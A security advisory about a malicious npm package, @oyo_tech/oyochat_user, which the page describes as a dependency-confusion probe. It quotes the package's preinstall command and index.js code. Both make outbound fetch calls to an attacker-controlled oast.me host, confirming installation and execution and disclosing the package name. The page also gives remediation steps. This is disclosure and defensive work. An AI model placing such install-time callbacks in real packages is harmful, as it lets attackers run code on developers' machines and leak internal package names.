# MAL-2026-14123: Malicious code in @oyo_tech/oyochat_user (npm)


- **Type:** Malicious package
- **Package:** `@oyo_tech/oyochat_user` (npm)
- **Published:** 18 Aug 2026

## What is MAL-2026-14123?

MAL-2026-14123 is a malicious package in @oyo_tech/oyochat_user, published on 18 Aug 2026. 

### Official description

@oyo_tech/oyochat_user@99.99.99 is a dependency-confusion probe. package.json declares a preinstall script that runs `node -e "fetch('https://dc.installed.da24gtar47nuepat1pu053x3cgyweiaom.oast.me/'+process.env.npm_package_name)"`, causing `npm install` to make an outbound callback to an attacker-controlled interactsh (oast.me) subdomain and disclose that the package resolved on the installer's host. index.js additionally issues `fetch("https://dc.executed.da24gtar47nuepat1pu053x3cgyweiaom.oast.me/oyochat_user")` on require/import, signalling that the package was actually loaded by a build. Distinct `installed.` and `executed.` subdomains under the same attacker-controlled OAST token are used to stage install-vs-execute telemetry. The 99.99.99 version and scoped org name are consistent with a dependency-confusion attack targeting an internal package name. Installing this package confirms code execution on the installer's host to the attacker and exposes the internal package name; the same install-time execution primitive can be trivially upgraded to arbitrary payload delivery.

The OpenSSF Package Analysis project identified '@oyo_tech/oyochat_user' @ 100.0.0 (npm) as malicious.

It is considered malicious because:

- The package communicates with a domain associated with malicious activity.

## What should I do about MAL-2026-14123?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-14123 is a malicious package: @oyo_tech/oyochat_user (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-14123/ (Markdown: https://insights.sbomify.com/MAL-2026-14123/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-14123

---
From sbomify Insights: https://insights.sbomify.com/MAL-2026-14123/
Summaries are generated and may contain mistakes; the official description above is the record.